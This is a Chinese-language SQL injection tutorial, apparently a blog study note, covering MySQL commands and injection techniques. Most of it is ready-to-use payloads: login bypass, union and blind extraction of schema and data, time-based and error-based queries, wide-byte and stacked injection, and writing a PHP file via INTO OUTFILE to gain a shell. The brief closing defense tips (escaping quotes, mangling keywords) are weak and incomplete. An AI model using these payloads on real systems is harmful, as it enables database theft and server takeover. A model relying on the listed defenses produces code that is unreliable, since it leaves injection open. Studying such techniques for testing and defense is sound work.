渗透测试学习基础(SQL注入)

1,042 阅读8分钟

MySQL

Mysql bin 各工具作用

  • mysqld:打开关闭Mysql

  • mysql:连接Mysql客户端

  • mysqlimport:导入mysql脚本

  • mysqladmin:MySQL各种命令管理,修改重置MySQL密码

  • mysqldump:MySQL备份工具

  • mysqlcheck:检查,分析,优化,修复表

常用的指令

登录MySQL:mysql -h 主机IP -u 用户名 -p 密码 -P 端口号

查看所有数据库:show databases

查看数据库编码:show variables like 'character_set_database';

选择数据库:use 数据库名

查看所有数据表:show tables

查看数据表结构:desc 数据表名称

查看数据:select 字段名,字段名 from 数据表 where 条件

修改数据:update 数据表 set 字段名 = 值 where 条件

添加数据:insert into 数据表 (字段名,字段名) values (值,值)

删除数据表:drop table 数据表名

删除数据库:drop database 数据库名

导出数据表:select 字段 from 数据表 INTO OUTFILE '/tmp/tutorials.txt';

SQL注入

注入的类型

  • 整型注入(无单双引号)
  • 字符型注入(有单双引号)

布尔注入(可以用于登录)

select * from user where username = '111' or true -- ' password = 'xxx'

select * from user where username = '111' or !false -- ' password = 'xxx'

select * from user where username = '111' or 1=1 -- ' password = 'xxx'

select * from user where username = '111' or 2>1 -- ' password = 'xxx'

select * from user where username = '111' or 1<2 -- ' password = 'xxx'

联合注入(可以用于查询  例如:id=1)

  1. 需要获取字段的总数

  2. 通过group by *

  3. 通过order by *

  4. select * from 数据表 group by 字段总数;  select * from test group by 2;

  5. select * from 数据表 order by 字段总数; select * from test order by 2

  6. 获取数据库

  7. 数据库内置函数 database()、version()、user()

  8. 通过union 联合表

  9. select * from test union select database(),version();

  10. 获取数据库里面的表

  11. 爆所有的表:select * from test union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database();

  12. 如果只输出一条记录,则:

  13. 使用条件使前面SQL查询不到数据,select * from test where 1=2 union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1;

  14. 查询下一条数据,select * from test where 1=2 union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 1,1;

  15. 获取数据库里面的表的字段

  16. select * from test where 1=2 union select 1,column_name from information_schema.columns where table_name = 'test';

  17. 查询下一条数据select * from test where 1=2 union select 1,column_name from information_schema.columns where table_name = 'test' limit 0, 1;

导出数据库别名拿shell

select * from test where 1=2 union select 1, '<?php echo 1 ?>' into outfile 'c:/temp/2.txt';

如果自动屏蔽单引号或者php敏感等字符,则转换为十六进制

 select * from test where 1=2 union select 1,0x3c3f706870206563686f2031203f3e into outfile 'c:/temp/3.txt';

读取文件

load_file("c:/temp/1.txt");

select * from test where 1=2 union select 1,load_file("c:/temp/2.txt");

十六进制

select * from test union select 1,load_file(0x633a2f74656d702f322e747874);

浏览器锚点

如果进行sql注入的时候使用 # 注释,需要进行URL编码转义,不然浏览器默认进行锚点定位

select * from test where id = '1' union select 1,2 %23 ' asdmaosdijaid

相当于:select * from test where id = '1' union select 1,2 # asdmaosdijaid'

不能进行注释时,如果是字符型注入,需要闭合单双引号,可以构造一个条件

select * from test where id = '1' union select 1, 2 where '1' = '1

布尔型注入

  • mid() :截取字符串
  • length():字符串长度
  • ord():ASCII编码转换
  • database():当前数据库
  • version():当前数据库版本
  • user():当前用户

步骤:

测试demo数据库

1、首先获取数据库名的长度

  • select * from test where 1=2 or length(database()) > 3;     true
  • select * from test where 1=2 or length(database()) > 6;     false
  • select * from test where 1=2 or length(database()) = 4;     true

    不断进行碰撞测试出数据库名的长度,得出数据库名长度为4字节

2、利用ASCII编码,循环碰对数据库的名称

    开始碰对数据库名第一个字符

  • select * from test where 1=2 or ORD(mid(database(), 1,1)) > 90;      true

  • select * from test where 1=2 or ORD(mid(database(), 1,1)) > 100;    false

  • select * from test where 1=2 or ORD(mid(database(), 1,1)) = 100;    true

   得出数据库名第一个字符为 d

   开始碰对数据库第二个字符

  • select * from test where 1=2 or ORD(mid(database(), 2,1)) > 200;   false

  • select * from test where 1=2 or ORD(mid(database(), 2,1)) > 100;   true

  • select * from test where 1=2 or ORD(mid(database(), 2,1)) = 101;   true

   得出数据库名第一个字符为 e

   ........继续碰对

   得出数据库名为 demo

3、获取数据表的总数

  • select * from test where 1=2 or (select count(table_name) from information_schema.tables where table_schema = database() ) > 1;    true

  • select * from test where 1=2 or (select count(table_name) from information_schema.tables where table_schema = database() ) > 2;    false

    得出有两张数据表

4、获取第一张数据表名长度

  • select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) > 5;  false

  • select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) > 4;  true

  • select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) = 5;  true

    得出第一个数据表名的长度为 5 字节

5、获取第一张数据表名(第二张表只需要改动limit后面的参数)

  •  select * from test where 1=2 or (select ord(mid(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 100;  false

  • select * from test where 1=2 or (select ord(mid(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 99;  true

    得出第一张数据表名的第一个字符为 d

  •  select * from test where 1=2 or (select ord(mid(table_name,2,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 101; false

  • select * from test where 1=2 or (select ord(mid(table_name,2,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 100; true

   得出第一张数据表名的第一个字符为 e

    ...继续循环碰对

    得出第一张数据表名为 demo2

6、获取第一张表字段的总数

  • select * from test where 1=2 or (select count(column_name) from information_schema.columns where table_name = 'demo2' ) = 1;    true

得出第一张表字段的总数为 1

7、获取第一张表第一个字段的长度

  • select * from test where 1=2 or (select length(column_name) from information_schema.columns where table_name = 'demo2' limit 0,1 ) = 4;    true

得出第一张表字段的长度为 4

8、获取第一张表第一个字段的名称

    首先第一个字段名称的第一个字符

  • select * from test where 1=2 or (select ord(mid(column_name,1,1)) from information_schema.columns where table_name = 'demo2' limit 0,1 ) = 110;    true

第一个字段名称的第一个字符为 n

  • select * from test where 1=2 or (select ord(mid(column_name,2,1)) from information_schema.columns where table_name = 'demo2' limit 0,1 ) = 97;      true

第一个字段名称的第二个字符为 a

    ........

得出第一个字段名称的第一个字符为  name

9、获取数据表的数据

  • 获取数据表第一条数据长度、内容(OS: 跟上面的方法差不多,反正都有字段名称跟数据表名称了)

  • select * from test where 1=2 or (select length(concat(name,'---') from demo2 limit 0, 1)) = 7;

  • select * from test where 1=2 or (select length(concat(name,'---')) from demo2 where concat(name) = 'test' limit 0,1) = 7;

  • 偷懒了  - -!

延迟注入

除了获取数据库总数外,其他步骤基本参考布尔型注入

1、首先获取数据库总数

select * from test where id = 1  and sleep(if((select count(schema_name) from information_schema.schemata ) > 6, 0, 3));

2、获取其他数据库名长度(当前数据库)

其他数据库:select * from test where username = 'admin' and sleep(if((select length(schema_name) from information_schema.schemata  limit 0,1) > 10, 0, 3));

当前数据库:select * from test where username = 'admin' and sleep(if((select length(schema_name) from information_schema.schemata where schema_name = database() ) > 10, 0, 3));

3、获取其他数据库名称(当前数据库)

4、获取当前数据库表总数

5、获取当前数据库表名的长度

6、获取当前数据库表名

7、获取当前数据库表的字段总数

8、获取当前数据库表的字段长度

9、获取当前数据库表的字段名称

10、获取当前数据库表的数据

BUG报错注入

利用数据库的BUG进行利用,看报错信息 不过报错的信息就是我们想要的信息

  • 只要是count(),rand,group by 三个连用就会造成这种报错
  • left(rand(),3) == 不一定报错
  • floor(rand(0)*2) == 一定报错
  • round(x,d) // x指要处理的数,d是指保留几位小数
  • concat() //字符串拼接
  • select count(*), concat(left(rand(),3),"----",(select version())) x from r1 group by x

爆库: select count(1), concat(floor(rand(0)*2),"--",database()) as xx from t_sys_menu group by xx;

爆表:select count(1), concat(floor(rand(0)*2),"--", (select table_name from information_schema.tables where TABLE_SCHEMA = database() limit 1,1) ) as xx from t_sys_menu group by xx;

SQL函数报错注入

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

其他参考:blog.csdn.net/Auuuuuuuu/a…

是否存在SQL注入判断

如:127.0.0.1:80/admin/info?id=8

整型注入

  • 127.0.0.1:80/admin/info?id=8+1 and 2 > 1
  • 127.0.0.1:80/admin/info?id=-8
  • 127.0.0.1:80/admin/info?id='8'

字符串注入

  • 127.0.0.1:80/admin/info?id=8' and '1' = '1

  • 127.0.0.1:80/admin/info?id=8'  --

  • 127.0.0.1:80/admin/info?id=8' #

首先根据单双引号 、 加减号  、 大小号进行闭合测试,判断是否存在注入,然后判断为字符型注入或整型注入。先根据是否存在报错,然后报错信息提示(可能是多个括号闭合,或者有其他字符闭合等等)等,最后根据经验判断。

宽字节注入

进行SQL注入时,通常为了闭合 SQL 语句,所以进行注入时通常 使用 ' 进行闭合。如:127.0.0.1:80/admin/info?id=8' %23,但是程序为了防御注入,对 ' 进行转义处理,即真正进入SQL运行的是 \' ,如 127.0.0.1:80/admin/info?id=8\' %23。当数据库的编码为GBK的时候,则可以使用宽字节注入对 \ 进行转换,“吃掉” \,从而对注入的SQL进行闭合。如:127.0.0.1:80/admin/info?id=8%df' %23,实际上运行:127.0.0.1:80/admin/info?id=8%df%5C' %23,即 \ 已经被转化成一个字符。

多语句注入

127.0.0.1:80/admin/info?id=8' ; select 1; select 2; %23

使用 ; 对多个语句进行拼接

values注入

正常添加信息语句:127.0.0.1:80/admin/info?name=注入&age=11

执行SQL:insert into info values(null,'注入','11');

注入:127.0.0.1:80/admin/info?name=(select database())&age=11

执行:insert into info values(null, (select database()), 11)

爆表:insert into info values(null, concat(select version(),'--',select database(),'--',(select table_name from information_schema.tables where schema_name = database() limit 0, 1)), 11)

爆字段:insert into info values(null, (select column_name from information_schema.columns where table_name = 'test'), 11)

爆数据:insert into info values(null, select concat(testname1,testname2) from test  limit 0,1), 11)

读文件:insert into info values(null, (loadfile("d:\1.txt")), 11)

delete注入

布尔注入

delete info where id = 1 and (select database() = 'test');

延迟注入

delete info where id = 1 and sleep( select database() = 'test' , 5, 1);

update注入

语句:127.0.0.1:80/admin/info?id=1&name=注入&address=地址

执行SQL:update info set name = '注入' and address = '地址' where id = 1

注入:127.0.0.1:80/admin/info?id=1&name=注入'&address=select user()&id=1 #&address=地址

添加、修改、删除注入都支持报错注入

insert into tb_user values(null, updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1,1,1);

update tb_user set user_name = '123' where id = 1 and 2=updatexml(1,concat(0x7e,(select user()),0x7e),1);

delete from tb_user where id =1 and 2= updatexml(1,concat(0x7e,(select user()),0x7e),1);

判断注入

每个参数正常提交能够正常运行

在每个参数后面加入单双引号,不能正常运行,这种情况则可能存在注入

如:正常:第一个参数 11;第二个参数 22;第三个参数 33;

注入测试:第一个参数 11'";第二个参数 22'";第三个参数 33'";

防止SQL注入

  • 对敏感词语 select from 转义处理 如 s-e-l-e-c-t f-r-o-m
  • 字符型注入,PHP中对 单引号 进行 转义处理  '  转义处理为 \'
  • 整型注入, PHP 接收参数转换成整型  $_POST['age'] + 0